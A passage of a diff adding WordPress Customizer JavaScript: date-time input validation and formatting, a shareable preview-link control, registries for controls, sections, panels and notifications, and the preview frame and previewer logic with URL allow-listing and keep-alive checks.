+				second: matches.shift() || '00'
+			};
+
+			if ( control.params.includeTime && control.params.twelveHourFormat ) {
+				date.hour = parseInt( date.hour, 10 );
+				date.meridian = date.hour >= midDayHour ? 'pm' : 'am';
+				date.hour = date.hour % midDayHour ? String( date.hour % midDayHour ) : String( midDayHour );
+				delete date.second; // @todo Why only if twelveHourFormat?
+			}
+
+			return date;
+		},
+
+		/**
+		 * Validates if input components have valid date and time.
+		 *
+		 * @since 4.9.0
+		 * @return {boolean} If date input fields has error.
+		 */
+		validateInputs: function validateInputs() {
+			var control = this, components, validityInput;
+
+			control.invalidDate = false;
+
+			components = [ 'year', 'day' ];
+			if ( control.params.includeTime ) {
+				components.push( 'hour', 'minute' );
+			}
+
+			_.find( components, function( component ) {
+				var element, max, min, value;
+
+				element = control.inputElements[ component ];
+				validityInput = element.element.get( 0 );
+				max = parseInt( element.element.attr( 'max' ), 10 );
+				min = parseInt( element.element.attr( 'min' ), 10 );
+				value = parseInt( element(), 10 );
+				control.invalidDate = isNaN( value ) || value > max || value < min;
+
+				if ( ! control.invalidDate ) {
+					validityInput.setCustomValidity( '' );
+				}
+
+				return control.invalidDate;
+			} );
+
+			if ( control.inputElements.meridian && ! control.invalidDate ) {
+				validityInput = control.inputElements.meridian.element.get( 0 );
+				if ( 'am' !== control.inputElements.meridian.get() && 'pm' !== control.inputElements.meridian.get() ) {
+					control.invalidDate = true;
+				} else {
+					validityInput.setCustomValidity( '' );
+				}
+			}
+
+			if ( control.invalidDate ) {
+				validityInput.setCustomValidity( api.l10n.invalidValue );
+			} else {
+				validityInput.setCustomValidity( '' );
+			}
+			if ( ! control.section() || api.section.has( control.section() ) && api.section( control.section() ).expanded() ) {
+				_.result( validityInput, 'reportValidity' );
+			}
+
+			return control.invalidDate;
+		},
+
+		/**
+		 * Updates number of days according to the month and year selected.
+		 *
+		 * @since 4.9.0
+		 * @return {void}
+		 */
+		updateDaysForMonth: function updateDaysForMonth() {
+			var control = this, daysInMonth, year, month, day;
+
+			month = parseInt( control.inputElements.month(), 10 );
+			year = parseInt( control.inputElements.year(), 10 );
+			day = parseInt( control.inputElements.day(), 10 );
+
+			if ( month && year ) {
+				daysInMonth = new Date( year, month, 0 ).getDate();
+				control.inputElements.day.element.attr( 'max', daysInMonth );
+
+				if ( day > daysInMonth ) {
+					control.inputElements.day( String( daysInMonth ) );
+				}
+			}
+		},
+
+		/**
+		 * Populate setting value from the inputs.
+		 *
+		 * @since 4.9.0
+		 * @returns {boolean} If setting updated.
+		 */
+		populateSetting: function populateSetting() {
+			var control = this, date;
+
+			if ( control.validateInputs() || ! control.params.allowPastDate && ! control.isFutureDate() ) {
+				return false;
+			}
+
+			date = control.convertInputDateToString();
+			control.setting.set( date );
+			return true;
+		},
+
+		/**
+		 * Converts input values to string in Y-m-d H:i:s format.
+		 *
+		 * @since 4.9.0
+		 * @return {string} Date string.
+		 */
+		convertInputDateToString: function convertInputDateToString() {
+			var control = this, date = '', dateFormat, hourInTwentyFourHourFormat,
+				getElementValue, pad;
+
+			pad = function( number, padding ) {
+				var zeros;
+				if ( String( number ).length < padding ) {
+					zeros = padding - String( number ).length;
+					number = Math.pow( 10, zeros ).toString().substr( 1 ) + String( number );
+				}
+				return number;
+			};
+
+			getElementValue = function( component ) {
+				var value = parseInt( control.inputElements[ component ].get(), 10 );
+
+				if ( _.contains( [ 'month', 'day', 'hour', 'minute' ], component ) ) {
+					value = pad( value, 2 );
+				} else if ( 'year' === component ) {
+					value = pad( value, 4 );
+				}
+				return value;
+			};
+
+			dateFormat = [ 'year', '-', 'month', '-', 'day' ];
+			if ( control.params.includeTime ) {
+				hourInTwentyFourHourFormat = control.inputElements.meridian ? control.convertHourToTwentyFourHourFormat( control.inputElements.hour(), control.inputElements.meridian() ) : control.inputElements.hour();
+				dateFormat = dateFormat.concat( [ ' ', pad( hourInTwentyFourHourFormat, 2 ), ':', 'minute', ':', '00' ] );
+			}
+
+			_.each( dateFormat, function( component ) {
+				date += control.inputElements[ component ] ? getElementValue( component ) : component;
+			} );
+
+			return date;
+		},
+
+		/**
+		 * Check if the date is in the future.
+		 *
+		 * @since 4.9.0
+		 * @returns {boolean} True if future date.
+		 */
+		isFutureDate: function isFutureDate() {
+			var control = this;
+			return 0 < api.utils.getRemainingTime( control.convertInputDateToString() );
+		},
+
+		/**
+		 * Convert hour in twelve hour format to twenty four hour format.
+		 *
+		 * @since 4.9.0
+		 * @param {string} hourInTwelveHourFormat - Hour in twelve hour format.
+		 * @param {string} meridian - Either 'am' or 'pm'.
+		 * @returns {string} Hour in twenty four hour format.
+		 */
+		convertHourToTwentyFourHourFormat: function convertHour( hourInTwelveHourFormat, meridian ) {
+			var hourInTwentyFourHourFormat, hour, midDayHour = 12;
+
+			hour = parseInt( hourInTwelveHourFormat, 10 );
+			if ( isNaN( hour ) ) {
+				return '';
+			}
+
+			if ( 'pm' === meridian && hour < midDayHour ) {
+				hourInTwentyFourHourFormat = hour + midDayHour;
+			} else if ( 'am' === meridian && midDayHour === hour ) {
+				hourInTwentyFourHourFormat = hour - midDayHour;
+			} else {
+				hourInTwentyFourHourFormat = hour;
+			}
+
+			return String( hourInTwentyFourHourFormat );
+		},
+
+		/**
+		 * Populates date inputs in date fields.
+		 *
+		 * @since 4.9.0
+		 * @returns {boolean} Whether the inputs were populated.
+		 */
+		populateDateInputs: function populateDateInputs() {
+			var control = this, parsed;
+
+			parsed = control.parseDateTime( control.setting.get() );
+
+			if ( ! parsed ) {
+				return false;
+			}
+
+			_.each( control.inputElements, function( element, component ) {
+				var value = parsed[ component ]; // This will be zero-padded string.
+
+				// Set month and meridian regardless of focused state since they are dropdowns.
+				if ( 'month' === component || 'meridian' === component ) {
+
+					// Options in dropdowns are not zero-padded.
+					value = value.replace( /^0/, '' );
+
+					element.set( value );
+				} else {
+
+					value = parseInt( value, 10 );
+					if ( ! element.element.is( document.activeElement ) ) {
+
+						// Populate element with zero-padded value if not focused.
+						element.set( parsed[ component ] );
+					} else if ( value !== parseInt( element(), 10 ) ) {
+
+						// Forcibly update the value if its underlying value changed, regardless of zero-padding.
+						element.set( String( value ) );
+					}
+				}
+			} );
+
+			return true;
+		},
+
+		/**
+		 * Toggle future date notification for date control.
+		 *
+		 * @since 4.9.0
+		 * @param {boolean} notify Add or remove the notification.
+		 * @return {wp.customize.DateTimeControl}
+		 */
+		toggleFutureDateNotification: function toggleFutureDateNotification( notify ) {
+			var control = this, notificationCode, notification;
+
+			notificationCode = 'not_future_date';
+
+			if ( notify ) {
+				notification = new api.Notification( notificationCode, {
+					type: 'error',
+					message: api.l10n.futureDateError
+				} );
+				control.notifications.add( notification );
+			} else {
+				control.notifications.remove( notificationCode );
+			}
+
+			return control;
+		}
+	});
+
+	/**
+	 * Class PreviewLinkControl.
+	 *
+	 * @since 4.9.0
+	 * @constructor
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.PreviewLinkControl = api.Control.extend({
+
+		defaults: _.extend( {}, api.Control.prototype.defaults, {
+			templateId: 'customize-preview-link-control'
+		} ),
+
+		/**
+		 * Initialize behaviors.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		ready: function ready() {
+			var control = this, element, component, node, url, input, button;
+
+			_.bindAll( control, 'updatePreviewLink' );
+
+			if ( ! control.setting ) {
+			    control.setting = new api.Value();
+			}
+
+			control.previewElements = {};
+
+			control.container.find( '.preview-control-element' ).each( function() {
+				node = $( this );
+				component = node.data( 'component' );
+				element = new api.Element( node );
+				control.previewElements[ component ] = element;
+				control.elements.push( element );
+			} );
+
+			url = control.previewElements.url;
+			input = control.previewElements.input;
+			button = control.previewElements.button;
+
+			input.link( control.setting );
+			url.link( control.setting );
+
+			url.bind( function( value ) {
+				url.element.parent().attr( {
+					href: value,
+					target: api.settings.changeset.uuid
+				} );
+			} );
+
+			api.bind( 'ready', control.updatePreviewLink );
+			api.state( 'saved' ).bind( control.updatePreviewLink );
+			api.state( 'changesetStatus' ).bind( control.updatePreviewLink );
+			api.state( 'activated' ).bind( control.updatePreviewLink );
+			api.previewer.previewUrl.bind( control.updatePreviewLink );
+
+			button.element.on( 'click', function( event ) {
+				event.preventDefault();
+				if ( control.setting() ) {
+					input.element.select();
+					document.execCommand( 'copy' );
+					button( button.element.data( 'copied-text' ) );
+				}
+			} );
+
+			url.element.parent().on( 'click', function( event ) {
+				if ( $( this ).hasClass( 'disabled' ) ) {
+					event.preventDefault();
+				}
+			} );
+
+			button.element.on( 'mouseenter', function() {
+				if ( control.setting() ) {
+					button( button.element.data( 'copy-text' ) );
+				}
+			} );
+		},
+
+		/**
+		 * Updates Preview Link
+		 *
+		 * @since 4.9.0
+		 * @return {void}
+		 */
+		updatePreviewLink: function updatePreviewLink() {
+			var control = this, unsavedDirtyValues;
+
+			unsavedDirtyValues = ! api.state( 'saved' ).get() || '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get();
+
+			control.toggleSaveNotification( unsavedDirtyValues );
+			control.previewElements.url.element.parent().toggleClass( 'disabled', unsavedDirtyValues );
+			control.previewElements.button.element.prop( 'disabled', unsavedDirtyValues );
+			control.setting.set( api.previewer.getFrontendPreviewUrl() );
+		},
+
+		/**
+		 * Toggles save notification.
+		 *
+		 * @since 4.9.0
+		 * @param {boolean} notify Add or remove notification.
+		 * @return {void}
+		 */
+		toggleSaveNotification: function toggleSaveNotification( notify ) {
+			var control = this, notificationCode, notification;
+
+			notificationCode = 'changes_not_saved';
+
+			if ( notify ) {
+				notification = new api.Notification( notificationCode, {
+					type: 'info',
+					message: api.l10n.saveBeforeShare
+				} );
+				control.notifications.add( notification );
+			} else {
+				control.notifications.remove( notificationCode );
+			}
+		}
+	});
+
+	// Change objects contained within the main customize object to Settings.
+	api.defaultConstructor = api.Setting;
+
+	/**
+	 * Callback for resolved controls.
+	 *
+	 * @callback deferredControlsCallback
+	 * @param {wp.customize.Control[]} Resolved controls.
+	 */
+
+	/**
+	 * Collection of all registered controls.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @type {Function}
+	 * @param {...string} ids - One or more ids for controls to obtain.
+	 * @param {deferredControlsCallback} [callback] - Function called when all supplied controls exist.
+	 * @returns {wp.customize.Control|undefined|jQuery.promise} Control instance or undefined (if function called with one id param), or promise resolving to requested controls.
+	 *
+	 * @example <caption>Loop over all registered controls.</caption>
+	 * wp.customize.control.each( function( control ) { ... } );
+	 *
+	 * @example <caption>Getting `background_color` control instance.</caption>
+	 * control = wp.customize.control( 'background_color' );
+	 *
+	 * @example <caption>Check if control exists.</caption>
+	 * hasControl = wp.customize.control.has( 'background_color' );
+	 *
+	 * @example <caption>Deferred getting of `background_color` control until it exists, using callback.</caption>
+	 * wp.customize.control( 'background_color', function( control ) { ... } );
+	 *
+	 * @example <caption>Get title and tagline controls when they both exist, using promise (only available when multiple IDs are present).</caption>
+	 * promise = wp.customize.control( 'blogname', 'blogdescription' );
+	 * promise.done( function( titleControl, taglineControl ) { ... } );
+	 *
+	 * @example <caption>Get title and tagline controls when they both exist, using callback.</caption>
+	 * wp.customize.control( 'blogname', 'blogdescription', function( titleControl, taglineControl ) { ... } );
+	 *
+	 * @example <caption>Getting setting value for `background_color` control.</caption>
+	 * value = wp.customize.control( 'background_color ').setting.get();
+	 * value = wp.customize( 'background_color' ).get(); // Same as above, since setting ID and control ID are the same.
+	 *
+	 * @example <caption>Add new control for site title.</caption>
+	 * wp.customize.control.add( new wp.customize.Control( 'other_blogname', {
+	 *     setting: 'blogname',
+	 *     type: 'text',
+	 *     label: 'Site title',
+	 *     section: 'other_site_identify'
+	 * } ) );
+	 *
+	 * @example <caption>Remove control.</caption>
+	 * wp.customize.control.remove( 'other_blogname' );
+	 *
+	 * @example <caption>Listen for control being added.</caption>
+	 * wp.customize.control.bind( 'add', function( addedControl ) { ... } )
+	 *
+	 * @example <caption>Listen for control being removed.</caption>
+	 * wp.customize.control.bind( 'removed', function( removedControl ) { ... } )
+	 */
+	api.control = new api.Values({ defaultConstructor: api.Control });
+
+	/**
+	 * Callback for resolved sections.
+	 *
+	 * @callback deferredSectionsCallback
+	 * @param {wp.customize.Section[]} Resolved sections.
+	 */
+
+	/**
+	 * Collection of all registered sections.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @type {Function}
+	 * @param {...string} ids - One or more ids for sections to obtain.
+	 * @param {deferredSectionsCallback} [callback] - Function called when all supplied sections exist.
+	 * @returns {wp.customize.Section|undefined|jQuery.promise} Section instance or undefined (if function called with one id param), or promise resolving to requested sections.
+	 *
+	 * @example <caption>Loop over all registered sections.</caption>
+	 * wp.customize.section.each( function( section ) { ... } )
+	 *
+	 * @example <caption>Getting `title_tagline` section instance.</caption>
+	 * section = wp.customize.section( 'title_tagline' )
+	 *
+	 * @example <caption>Expand dynamically-created section when it exists.</caption>
+	 * wp.customize.section( 'dynamically_created', function( section ) {
+	 *     section.expand();
+	 * } );
+	 *
+	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
+	 */
+	api.section = new api.Values({ defaultConstructor: api.Section });
+
+	/**
+	 * Callback for resolved panels.
+	 *
+	 * @callback deferredPanelsCallback
+	 * @param {wp.customize.Panel[]} Resolved panels.
+	 */
+
+	/**
+	 * Collection of all registered panels.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @type {Function}
+	 * @param {...string} ids - One or more ids for panels to obtain.
+	 * @param {deferredPanelsCallback} [callback] - Function called when all supplied panels exist.
+	 * @returns {wp.customize.Panel|undefined|jQuery.promise} Panel instance or undefined (if function called with one id param), or promise resolving to requested panels.
+	 *
+	 * @example <caption>Loop over all registered panels.</caption>
+	 * wp.customize.panel.each( function( panel ) { ... } )
+	 *
+	 * @example <caption>Getting nav_menus panel instance.</caption>
+	 * panel = wp.customize.panel( 'nav_menus' );
+	 *
+	 * @example <caption>Expand dynamically-created panel when it exists.</caption>
+	 * wp.customize.panel( 'dynamically_created', function( panel ) {
+	 *     panel.expand();
+	 * } );
+	 *
+	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
+	 */
+	api.panel = new api.Values({ defaultConstructor: api.Panel });
+
+	/**
+	 * Callback for resolved notifications.
+	 *
+	 * @callback deferredNotificationsCallback
+	 * @param {wp.customize.Notification[]} Resolved notifications.
+	 */
+
+	/**
+	 * Collection of all global notifications.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @type {Function}
+	 * @param {...string} codes - One or more codes for notifications to obtain.
+	 * @param {deferredNotificationsCallback} [callback] - Function called when all supplied notifications exist.
+	 * @returns {wp.customize.Notification|undefined|jQuery.promise} notification instance or undefined (if function called with one code param), or promise resolving to requested notifications.
+	 *
+	 * @example <caption>Check if existing notification</caption>
+	 * exists = wp.customize.notifications.has( 'a_new_day_arrived' );
+	 *
+	 * @example <caption>Obtain existing notification</caption>
+	 * notification = wp.customize.notifications( 'a_new_day_arrived' );
+	 *
+	 * @example <caption>Obtain notification that may not exist yet.</caption>
+	 * wp.customize.notifications( 'a_new_day_arrived', function( notification ) { ... } );
+	 *
+	 * @example <caption>Add a warning notification.</caption>
+	 * wp.customize.notifications.add( new wp.customize.Notification( 'midnight_almost_here', {
+	 *     type: 'warning',
+	 *     message: 'Midnight has almost arrived!',
+	 *     dismissible: true
+	 * } ) );
+	 *
+	 * @example <caption>Remove a notification.</caption>
+	 * wp.customize.notifications.remove( 'a_new_day_arrived' );
+	 *
+	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
+	 */
+	api.notifications = new api.Notifications();
+
+	/**
+	 * An object that fetches a preview in the background of the document, which
+	 * allows for seamless replacement of an existing preview.
+	 *
+	 * @class
+	 * @augments wp.customize.Messenger
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.PreviewFrame = api.Messenger.extend({
+		sensitivity: null, // Will get set to api.settings.timeouts.previewFrameSensitivity.
+
+		/**
+		 * Initialize the PreviewFrame.
+		 *
+		 * @param {object} params.container
+		 * @param {object} params.previewUrl
+		 * @param {object} params.query
+		 * @param {object} options
+		 */
+		initialize: function( params, options ) {
+			var deferred = $.Deferred();
+
+			/*
+			 * Make the instance of the PreviewFrame the promise object
+			 * so other objects can easily interact with it.
+			 */
+			deferred.promise( this );
+
+			this.container = params.container;
+
+			$.extend( params, { channel: api.PreviewFrame.uuid() });
+
+			api.Messenger.prototype.initialize.call( this, params, options );
+
+			this.add( 'previewUrl', params.previewUrl );
+
+			this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() });
+
+			this.run( deferred );
+		},
+
+		/**
+		 * Run the preview request.
+		 *
+		 * @param {object} deferred jQuery Deferred object to be resolved with
+		 *                          the request.
+		 */
+		run: function( deferred ) {
+			var previewFrame = this,
+				loaded = false,
+				ready = false,
+				readyData = null,
+				hasPendingChangesetUpdate = '{}' !== previewFrame.query.customized,
+				urlParser,
+				params,
+				form;
+
+			if ( previewFrame._ready ) {
+				previewFrame.unbind( 'ready', previewFrame._ready );
+			}
+
+			previewFrame._ready = function( data ) {
+				ready = true;
+				readyData = data;
+				previewFrame.container.addClass( 'iframe-ready' );
+				if ( ! data ) {
+					return;
+				}
+
+				if ( loaded ) {
+					deferred.resolveWith( previewFrame, [ data ] );
+				}
+			};
+
+			previewFrame.bind( 'ready', previewFrame._ready );
+
+			urlParser = document.createElement( 'a' );
+			urlParser.href = previewFrame.previewUrl();
+
+			params = _.extend(
+				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
+				{
+					customize_changeset_uuid: previewFrame.query.customize_changeset_uuid,
+					customize_theme: previewFrame.query.customize_theme,
+					customize_messenger_channel: previewFrame.query.customize_messenger_channel
+				}
+			);
+			if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
+				params.customize_autosaved = 'on';
+			}
+
+			urlParser.search = $.param( params );
+			previewFrame.iframe = $( '<iframe />', {
+				title: api.l10n.previewIframeTitle,
+				name: 'customize-' + previewFrame.channel()
+			} );
+			previewFrame.iframe.attr( 'onmousewheel', '' ); // Workaround for Safari bug. See WP Trac #38149.
+
+			if ( ! hasPendingChangesetUpdate ) {
+				previewFrame.iframe.attr( 'src', urlParser.href );
+			} else {
+				previewFrame.iframe.attr( 'data-src', urlParser.href ); // For debugging purposes.
+			}
+
+			previewFrame.iframe.appendTo( previewFrame.container );
+			previewFrame.targetWindow( previewFrame.iframe[0].contentWindow );
+
+			/*
+			 * Submit customized data in POST request to preview frame window since
+			 * there are setting value changes not yet written to changeset.
+			 */
+			if ( hasPendingChangesetUpdate ) {
+				form = $( '<form>', {
+					action: urlParser.href,
+					target: previewFrame.iframe.attr( 'name' ),
+					method: 'post',
+					hidden: 'hidden'
+				} );
+				form.append( $( '<input>', {
+					type: 'hidden',
+					name: '_method',
+					value: 'GET'
+				} ) );
+				_.each( previewFrame.query, function( value, key ) {
+					form.append( $( '<input>', {
+						type: 'hidden',
+						name: key,
+						value: value
+					} ) );
+				} );
+				previewFrame.container.append( form );
+				form.submit();
+				form.remove(); // No need to keep the form around after submitted.
+			}
+
+			previewFrame.bind( 'iframe-loading-error', function( error ) {
+				previewFrame.iframe.remove();
+
+				// Check if the user is not logged in.
+				if ( 0 === error ) {
+					previewFrame.login( deferred );
+					return;
+				}
+
+				// Check for cheaters.
+				if ( -1 === error ) {
+					deferred.rejectWith( previewFrame, [ 'cheatin' ] );
+					return;
+				}
+
+				deferred.rejectWith( previewFrame, [ 'request failure' ] );
+			} );
+
+			previewFrame.iframe.one( 'load', function() {
+				loaded = true;
+
+				if ( ready ) {
+					deferred.resolveWith( previewFrame, [ readyData ] );
+				} else {
+					setTimeout( function() {
+						deferred.rejectWith( previewFrame, [ 'ready timeout' ] );
+					}, previewFrame.sensitivity );
+				}
+			});
+		},
+
+		login: function( deferred ) {
+			var self = this,
+				reject;
+
+			reject = function() {
+				deferred.rejectWith( self, [ 'logged out' ] );
+			};
+
+			if ( this.triedLogin ) {
+				return reject();
+			}
+
+			// Check if we have an admin cookie.
+			$.get( api.settings.url.ajax, {
+				action: 'logged-in'
+			}).fail( reject ).done( function( response ) {
+				var iframe;
+
+				if ( '1' !== response ) {
+					reject();
+				}
+
+				iframe = $( '<iframe />', { 'src': self.previewUrl(), 'title': api.l10n.previewIframeTitle } ).hide();
+				iframe.appendTo( self.container );
+				iframe.on( 'load', function() {
+					self.triedLogin = true;
+
+					iframe.remove();
+					self.run( deferred );
+				});
+			});
+		},
+
+		destroy: function() {
+			api.Messenger.prototype.destroy.call( this );
+
+			if ( this.iframe ) {
+				this.iframe.remove();
+			}
+
+			delete this.iframe;
+			delete this.targetWindow;
+		}
+	});
+
+	(function(){
+		var id = 0;
+		/**
+		 * Return an incremented ID for a preview messenger channel.
+		 *
+		 * This function is named "uuid" for historical reasons, but it is a
+		 * misnomer as it is not an actual UUID, and it is not universally unique.
+		 * This is not to be confused with `api.settings.changeset.uuid`.
+		 *
+		 * @return {string}
+		 */
+		api.PreviewFrame.uuid = function() {
+			return 'preview-' + String( id++ );
+		};
+	}());
+
+	/**
+	 * Set the document title of the customizer.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {string} documentTitle
+	 */
+	api.setDocumentTitle = function ( documentTitle ) {
+		var tmpl, title;
+		tmpl = api.settings.documentTitleTmpl;
+		title = tmpl.replace( '%s', documentTitle );
+		document.title = title;
+		api.trigger( 'title', title );
+	};
+
+	/**
+	 * @class
+	 * @augments wp.customize.Messenger
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Previewer = api.Messenger.extend({
+		refreshBuffer: null, // Will get set to api.settings.timeouts.windowRefresh.
+
+		/**
+		 * @param {array}  params.allowedUrls
+		 * @param {string} params.container   A selector or jQuery element for the preview
+		 *                                    frame to be placed.
+		 * @param {string} params.form
+		 * @param {string} params.previewUrl  The URL to preview.
+		 * @param {object} options
+		 */
+		initialize: function( params, options ) {
+			var previewer = this,
+				urlParser = document.createElement( 'a' );
+
+			$.extend( previewer, options || {} );
+			previewer.deferred = {
+				active: $.Deferred()
+			};
+
+			// Debounce to prevent hammering server and then wait for any pending update requests.
+			previewer.refresh = _.debounce(
+				( function( originalRefresh ) {
+					return function() {
+						var isProcessingComplete, refreshOnceProcessingComplete;
+						isProcessingComplete = function() {
+							return 0 === api.state( 'processing' ).get();
+						};
+						if ( isProcessingComplete() ) {
+							originalRefresh.call( previewer );
+						} else {
+							refreshOnceProcessingComplete = function() {
+								if ( isProcessingComplete() ) {
+									originalRefresh.call( previewer );
+									api.state( 'processing' ).unbind( refreshOnceProcessingComplete );
+								}
+							};
+							api.state( 'processing' ).bind( refreshOnceProcessingComplete );
+						}
+					};
+				}( previewer.refresh ) ),
+				previewer.refreshBuffer
+			);
+
+			previewer.container   = api.ensure( params.container );
+			previewer.allowedUrls = params.allowedUrls;
+
+			params.url = window.location.href;
+
+			api.Messenger.prototype.initialize.call( previewer, params );
+
+			urlParser.href = previewer.origin();
+			previewer.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );
+
+			// Limit the URL to internal, front-end links.
+			//
+			// If the front end and the admin are served from the same domain, load the
+			// preview over ssl if the Customizer is being loaded over ssl. This avoids
+			// insecure content warnings. This is not attempted if the admin and front end
+			// are on different domains to avoid the case where the front end doesn't have
+			// ssl certs.
+
+			previewer.add( 'previewUrl', params.previewUrl ).setter( function( to ) {
+				var result = null, urlParser, queryParams, parsedAllowedUrl, parsedCandidateUrls = [];
+				urlParser = document.createElement( 'a' );
+				urlParser.href = to;
+
+				// Abort if URL is for admin or (static) files in wp-includes or wp-content.
+				if ( /\/wp-(admin|includes|content)(\/|$)/.test( urlParser.pathname ) ) {
+					return null;
+				}
+
+				// Remove state query params.
+				if ( urlParser.search.length > 1 ) {
+					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+					delete queryParams.customize_changeset_uuid;
+					delete queryParams.customize_theme;
+					delete queryParams.customize_messenger_channel;
+					delete queryParams.customize_autosaved;
+					if ( _.isEmpty( queryParams ) ) {
+						urlParser.search = '';
+					} else {
+						urlParser.search = $.param( queryParams );
+					}
+				}
+
+				parsedCandidateUrls.push( urlParser );
+
+				// Prepend list with URL that matches the scheme/protocol of the iframe.
+				if ( previewer.scheme.get() + ':' !== urlParser.protocol ) {
+					urlParser = document.createElement( 'a' );
+					urlParser.href = parsedCandidateUrls[0].href;
+					urlParser.protocol = previewer.scheme.get() + ':';
+					parsedCandidateUrls.unshift( urlParser );
+				}
+
+				// Attempt to match the URL to the control frame's scheme and check if it's allowed. If not, try the original URL.
+				parsedAllowedUrl = document.createElement( 'a' );
+				_.find( parsedCandidateUrls, function( parsedCandidateUrl ) {
+					return ! _.isUndefined( _.find( previewer.allowedUrls, function( allowedUrl ) {
+						parsedAllowedUrl.href = allowedUrl;
+						if ( urlParser.protocol === parsedAllowedUrl.protocol && urlParser.host === parsedAllowedUrl.host && 0 === urlParser.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ) ) {
+							result = parsedCandidateUrl.href;
+							return true;
+						}
+					} ) );
+				} );
+
+				return result;
+			});
+
+			previewer.bind( 'ready', previewer.ready );
+
+			// Start listening for keep-alive messages when iframe first loads.
+			previewer.deferred.active.done( _.bind( previewer.keepPreviewAlive, previewer ) );
+
+			previewer.bind( 'synced', function() {
+				previewer.send( 'active' );
+			} );
+
+			// Refresh the preview when the URL is changed (but not yet).
+			previewer.previewUrl.bind( previewer.refresh );
+
+			previewer.scroll = 0;
+			previewer.bind( 'scroll', function( distance ) {
+				previewer.scroll = distance;
+			});
+
+			// Update the URL when the iframe sends a URL message, resetting scroll position. If URL is unchanged, then refresh.
+			previewer.bind( 'url', function( url ) {
+				var onUrlChange, urlChanged = false;
+				previewer.scroll = 0;
+				onUrlChange = function() {
+					urlChanged = true;
+				};
+				previewer.previewUrl.bind( onUrlChange );
+				previewer.previewUrl.set( url );
+				previewer.previewUrl.unbind( onUrlChange );
+				if ( ! urlChanged ) {
+					previewer.refresh();
+				}
+			} );
+
+			// Update the document title when the preview changes.
+			previewer.bind( 'documentTitle', function ( title ) {
+				api.setDocumentTitle( title );
+			} );
+		},
+
+		/**
+		 * Handle the preview receiving the ready message.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @param {object} data - Data from preview.
+		 * @param {string} data.currentUrl - Current URL.
+		 * @param {object} data.activePanels - Active panels.
+		 * @param {object} data.activeSections Active sections.
+		 * @param {object} data.activeControls Active controls.
+		 * @returns {void}
+		 */
+		ready: function( data ) {
+			var previewer = this, synced = {}, constructs;
+
+			synced.settings = api.get();
+			synced['settings-modified-while-loading'] = previewer.settingsModifiedWhileLoading;
+			if ( 'resolved' !== previewer.deferred.active.state() || previewer.loading ) {
+				synced.scroll = previewer.scroll;
+			}
+			synced['edit-shortcut-visibility'] = api.state( 'editShortcutVisibility' ).get();
+			previewer.send( 'sync', synced );
+
+			// Set the previewUrl without causing the url to set the iframe.
+			if ( data.currentUrl ) {
+				previewer.previewUrl.unbind( previewer.refresh );
+				previewer.previewUrl.set( data.currentUrl );
+				previewer.previewUrl.bind( previewer.refresh );
+			}
+
+			/*
+			 * Walk over all panels, sections, and controls and set their
+			 * respective active states to true if the preview explicitly
+			 * indicates as such.
+			 */
+			constructs = {
+				panel: data.activePanels,
+				section: data.activeSections,
+				control: data.activeControls
+			};
+			_( constructs ).each( function ( activeConstructs, type ) {
+				api[ type ].each( function ( construct, id ) {
+					var isDynamicallyCreated = _.isUndefined( api.settings[ type + 's' ][ id ] );
+
+					/*
+					 * If the construct was created statically in PHP (not dynamically in JS)
+					 * then consider a missing (undefined) value in the activeConstructs to
+					 * mean it should be deactivated (since it is gone). But if it is
+					 * dynamically created then only toggle activation if the value is defined,
+					 * as this means that the construct was also then correspondingly
+					 * created statically in PHP and the active callback is available.
+					 * Otherwise, dynamically-created constructs should normally have
+					 * their active states toggled in JS rather than from PHP.
+					 */
+					if ( ! isDynamicallyCreated || ! _.isUndefined( activeConstructs[ id ] ) ) {
+						if ( activeConstructs[ id ] ) {
+							construct.activate();
+						} else {
+							construct.deactivate();
+						}
+					}
+				} );
+			} );
+
+			if ( data.settingValidities ) {
+				api._handleSettingValidities( {
+					settingValidities: data.settingValidities,
+					focusInvalidControl: false
+				} );
+			}
+		},
+
+		/**
+		 * Keep the preview alive by listening for ready and keep-alive messages.
+		 *
+		 * If a message is not received in the allotted time then the iframe will be set back to the last known valid URL.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @returns {void}
+		 */
+		keepPreviewAlive: function keepPreviewAlive() {
+			var previewer = this, keepAliveTick, timeoutId, handleMissingKeepAlive, scheduleKeepAliveCheck;
+
+			/**
+			 * Schedule a preview keep-alive check.
+			 *
+			 * Note that if a page load takes longer than keepAliveCheck milliseconds,
+			 * the keep-alive messages will still be getting sent from the previous
+			 * URL.
+			 */
+			scheduleKeepAliveCheck = function() {
+				timeoutId = setTimeout( handleMissingKeepAlive, api.settings.timeouts.keepAliveCheck );
+			};
+
+			/**
+			 * Set the previewerAlive state to true when receiving a message from the preview.
+			 */
+			keepAliveTick = function() {
+				api.state( 'previewerAlive' ).set( true );
+				clearTimeout( timeoutId );
+				scheduleKeepAliveCheck();
+			};
+
+			/**
+			 * Set the previewerAlive state to false if keepAliveCheck milliseconds have transpired without a message.
+			 *
+			 * This is most likely to happen in the case of a connectivity error, or if the theme causes the browser
+			 * to navigate to a non-allowed URL. Setting this state to false will force settings with a postMessage
+			 * transport to use refresh instead, causing the preview frame also to be replaced with the current
+			 * allowed preview URL.
+			 */
+			handleMissingKeepAlive = function() {
+				api.state( 'previewerAlive' ).set( false );
+			};
+			scheduleKeepAliveCheck();
+
